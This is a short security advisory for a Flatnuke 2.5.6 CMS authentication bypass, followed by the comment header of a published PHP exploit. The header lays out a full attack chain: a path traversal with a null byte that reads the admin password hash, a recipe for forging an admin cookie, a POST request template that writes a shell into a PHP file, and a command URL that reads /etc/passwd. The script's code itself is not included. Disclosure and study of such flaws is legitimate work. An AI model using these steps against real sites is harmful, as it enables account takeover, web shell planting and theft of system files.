Flatnuke Authentication Bypass (Exploit)
------------------------------------------------------------------------
SUMMARY
<http://flatnuke.sourceforge.net/> Flatnuke is "an open sourced CMS
(Content Management System)". Flatnuke does not validate if the user that
is trying to access the administration page is in fact an administrator,
allowing normal users to gain access to the MD5 hashed password of the
administrator as well as other users.
DETAILS
Vulnerable Systems:
* Flatnuke version 2.5.6
Exploit:
<?php
# ---flatnuke_256_xpl.php 4.32 10/12/2005
#
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
# (works with magic_quotes_gpc off, try this with 2.5.5:
# http://www.milw0rm.com/id.php?id=1140)
#
# coded by rgod at http://rgod.altervista.org
# mail: retrogod at aliceposta it
# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html
#
# software:
# site: http://flatnuke.sourceforge.net
# description: a PHP Content Management System
#
# Explaination: if magic_quotes_gpc you can have any admin/user MD5
password
# hash, poc:
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00
# now you can build an admin cookie:
#
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
#
# as admin, you can edit any php file on target system and insert a shell,
# example:
#
# POST /flatnuke/verify.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# Host: [target_host]
# Content-Length: [data_length]
# Cookie: [admin_cookie]
# Connection: Close
#
#
mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
#
# now you launch commands:
#
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd
#
# Vendor has notified on August 2005 about credentials disclosure,
# no patch has been released
